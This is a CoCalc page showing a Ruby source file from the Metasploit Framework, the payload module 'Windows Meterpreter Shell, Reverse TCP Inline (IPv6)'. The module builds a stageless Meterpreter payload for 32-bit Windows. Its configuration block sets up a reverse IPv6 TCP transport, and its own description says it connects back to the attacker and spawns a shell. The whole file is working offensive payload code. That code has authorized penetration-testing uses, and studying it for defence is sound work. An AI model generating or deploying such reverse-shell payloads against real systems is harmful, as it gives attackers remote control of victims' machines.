CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 177734
10
11
include Msf::Payload::TransportConfig
12
include Msf::Payload::Windows
13
include Msf::Payload::Single
14
include Msf::Payload::Windows::MeterpreterLoader
15
include Msf::Sessions::MeterpreterOptions
16
17
def initialize(info = {})
18
19
super(merge_info(info,
20
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
21
'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
22
'Author' => [ 'OJ Reeves' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Arch' => ARCH_X86,
26
'Handler' => Msf::Handler::ReverseTcp,
27
'Session' => Msf::Sessions::Meterpreter_x86_Win
28
))
29
30
register_options([
31
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
32
OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),
33
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
34
])
35
end
36
37
def generate(opts={})
38
opts[:stageless] = true
39
stage_meterpreter(opts) + generate_config(opts)
40
end
41
42
def generate_config(opts={})
43
opts[:uuid] ||= generate_payload_uuid
44
45
# create the configuration block
46
config_opts = {
47
arch: opts[:uuid].arch,
48
exitfunk: datastore['EXITFUNC'],
49
expiration: datastore['SessionExpirationTimeout'].to_i,
50
uuid: opts[:uuid],
51
transports: [transport_config_reverse_ipv6_tcp(opts)],
52
extensions: (datastore['EXTENSIONS'] || '').split(','),
53
ext_init: (datastore['EXTINIT'] || ''),
54
stageless: true,
55
}.merge(meterpreter_logging_config(opts))
56
57
# create the configuration instance based off the parameters
58
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
59
60
# return the binary version of it
61
config.to_b
62
end
63
end
64
65
66